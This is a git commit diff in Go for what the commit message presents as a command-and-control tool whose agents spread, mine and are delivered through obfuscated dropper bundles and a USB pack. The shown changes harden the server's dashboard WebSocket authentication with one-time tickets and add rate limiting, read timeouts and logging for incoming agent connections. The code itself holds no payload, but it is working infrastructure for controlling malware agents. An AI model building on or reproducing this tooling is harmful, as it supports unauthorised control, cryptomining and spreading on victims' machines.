fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes
WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
@@ -27,9 +27,14 @@ func secureStringEqual(a, b string) bool {
|
||||
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
|
||||
}
|
||||
|
||||
// checkDashboardWSToken validates the ?token= query param on dashboard WS upgrade.
|
||||
// The browser passes btoa("user:pass") — the same value stored in sessionStorage.
|
||||
// checkDashboardWSToken validates dashboard WS upgrade credentials.
|
||||
// Preferred: ?ticket= from POST /api/v1/auth/ws-ticket (short-lived, one-time).
|
||||
// Legacy: ?token= btoa("user:pass") with auth-session cache parity (API-D10).
|
||||
func checkDashboardWSToken(r *http.Request) bool {
|
||||
if ticket := r.URL.Query().Get("ticket"); ticket != "" {
|
||||
_, ok := consumeWSTicket(ticket)
|
||||
return ok
|
||||
}
|
||||
token := r.URL.Query().Get("token")
|
||||
if token == "" {
|
||||
return false
|
||||
@@ -43,10 +48,17 @@ func checkDashboardWSToken(r *http.Request) bool {
|
||||
return false
|
||||
}
|
||||
user, pass := parts[0], parts[1]
|
||||
if authCacheHit(user, pass) {
|
||||
return true
|
||||
}
|
||||
usersMu.RLock()
|
||||
stored, exists := authUsers[user]
|
||||
usersMu.RUnlock()
|
||||
return exists && checkPassword(stored, pass)
|
||||
if !exists || !checkPassword(stored, pass) {
|
||||
return false
|
||||
}
|
||||
authCacheSet(user, pass)
|
||||
return true
|
||||
}
|
||||
|
||||
var upgrader = websocket.Upgrader{
|
||||
@@ -374,10 +386,8 @@ func (h *WSHub) notifyCmdCallback(agentID, action string, payload map[string]int
|
||||
}
|
||||
h.pendingCmdMu.Unlock()
|
||||
if ok {
|
||||
select {
|
||||
case ch <- payload:
|
||||
default:
|
||||
}
|
||||
// Blocking send — Path Tracer and other orchestrators must not drop results.
|
||||
ch <- payload
|
||||
}
|
||||
}
|
||||
|
||||
@@ -464,13 +474,22 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
if clientIP == "" {
|
||||
clientIP = r.RemoteAddr
|
||||
}
|
||||
if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
|
||||
clientIP = clientIP[:idx]
|
||||
}
|
||||
log.Printf("[WS] Agent connection attempt from %s (origin=%s)", clientIP, r.Header.Get("Origin"))
|
||||
if !allowAgentWSUpgrade(clientIP) {
|
||||
http.Error(w, "Too Many Requests", http.StatusTooManyRequests)
|
||||
log.Printf("[WS] Agent upgrade rate-limited from %s", clientIP)
|
||||
return
|
||||
}
|
||||
conn, err := upgrader.Upgrade(w, r, nil)
|
||||
if err != nil {
|
||||
log.Printf("[WS] Agent upgrade failed from %s: %v", clientIP, err)
|
||||
return
|
||||
}
|
||||
log.Printf("[WS] Agent WebSocket upgraded OK from %s", clientIP)
|
||||
_ = conn.SetReadDeadline(time.Now().Add(agentWSAuthTimeout))
|
||||
|
||||
agentID := ""
|
||||
defer func() {
|
||||
@@ -1119,14 +1138,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
default:
|
||||
if agentID != "" {
|
||||
log.Printf("[WS] Agent %s sent unknown message type %q", agentID, msg.Type)
|
||||
} else {
|
||||
log.Printf("[WS] Unauthenticated agent sent unknown message type %q from %s", msg.Type, clientIP)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||||
// Verify dashboard session. The SPA sends its stored Basic-auth token as
|
||||
// ?token=<base64> because the WS upgrade can't carry Authorization headers.
|
||||
// We decode it and check against the same in-memory user map as the REST API.
|
||||
// Verify dashboard session via short-lived ?ticket= or legacy ?token= (btoa creds).
|
||||
if !checkDashboardWSToken(r) {
|
||||
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||
log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr)
|
||||
|
||||
Reference in New Issue
Block a user